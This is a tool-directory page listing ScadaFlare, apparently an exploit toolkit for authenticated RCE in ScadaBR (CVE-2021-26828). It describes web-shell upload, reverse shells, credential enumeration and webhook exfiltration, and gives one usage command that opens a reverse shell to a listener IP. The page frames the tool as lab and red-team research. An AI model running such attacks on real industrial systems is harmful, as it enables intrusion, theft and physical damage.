Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-26828-Ultimate — ScadaFlare Authenticated RCE Exploit Framework for ScadaBR (CVE-2021-26828) OpenPLC ScadaBR | Kitploit
Tools/GitHubGitHub/ridpath/cve-2021-26828-ultimate
Payload GenerationVulnerability AnalysisExploitationSCADA/ICS SecurityWeb Application ExploitationInformation GatheringPenetration TestingCommand and ControlRed Teaming
GitHubridpath/cve-2021-26828-ultimate

CVE-2021-26828-Ultimate

ScadaFlare Authenticated RCE Exploit Framework for ScadaBR (CVE-2021-26828) OpenPLC ScadaBR

58 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

ScadaFlare - CVE-2021-26828 Authenticated RCE Exploitation Toolkit

license: MIT tested-on: HTB Alchemy target: ScadaBR <1.1.0 platform: Linux/Windows

A modular post-auth RCE exploit targeting ScadaBR <1.1.0, enhanced for red team ops.

ScadaFlare Demo

Features

  • Uploads weaponized .jsp shell via view_edit.shtm
  • Supports Linux & Windows payloads
  • SOCKS5 / HTTP proxy support
  • Reverse shell trigger (standard or base64)
  • Enumeration modules (DB, creds, Log4Shell, etc.)
  • Webhook exfil (Slack / Discord)
  • Metasploit resource script generation
  • Cleanup support (kill switch)

MITRE ATT&CK Technique Mapping

CVE

  • CVE-2021-26828
  • Discovered by Fellipe Oliveira
  • Exploit enhanced & modularized

Why This Exists

This exploit was developed during analysis of the HTB Pro Lab: Alchemy scenario. The original PoC by Fellipe Oliveira was solid but:

Written in Python 2

Lacked modern features like proxy support, shell cleanup, enumeration chaining

Was difficult to extend or integrate into red team workflows

This version, ScadaFlare, is a full rewrite in Python 3 with modular support, multiple evasion strategies, OS detection override, webhook integration, SOCKS proxy support, and enumeration chains for real world operator use.

Usage

root@kitploit:~
python3 scadaflare.py http://172.16.0.20:80 admin admin \
  --reverse-ip 10.10.14.44 --reverse-port 4445 \
  --verbose --cleanup

Legal & Ethical Use Only

ScadaFlare is designed solely for:

  • Ethical hacking education
  • SCADA lab testing
  • Defensive research & vulnerability validation

Unauthorized use against real industrial systems can:

  • Disrupt physical processes
  • Cause damage or safety hazards
  • Result in severe legal consequences

By using this tool you accept full responsibility for:

  • Obtaining explicit written authorization
  • Operating only within approved environments

License

MIT License – see LICENSE

Download Tool
PhaseTechniqueID
Initial Access (post-auth)Valid AccountsT1078
ExecutionExploit Public-Facing ApplicationT1190
Command ExecutionWeb ShellT1505.003
Privilege ActionsModify Web ContentT1505
Credential AccessCredential in Configuration FilesT1552.001
DiscoveryRemote System DiscoveryT1018
ExfiltrationExfiltration Over Web ServiceT1567.002
Defense EvasionProxy & Protocol TunnelingT1090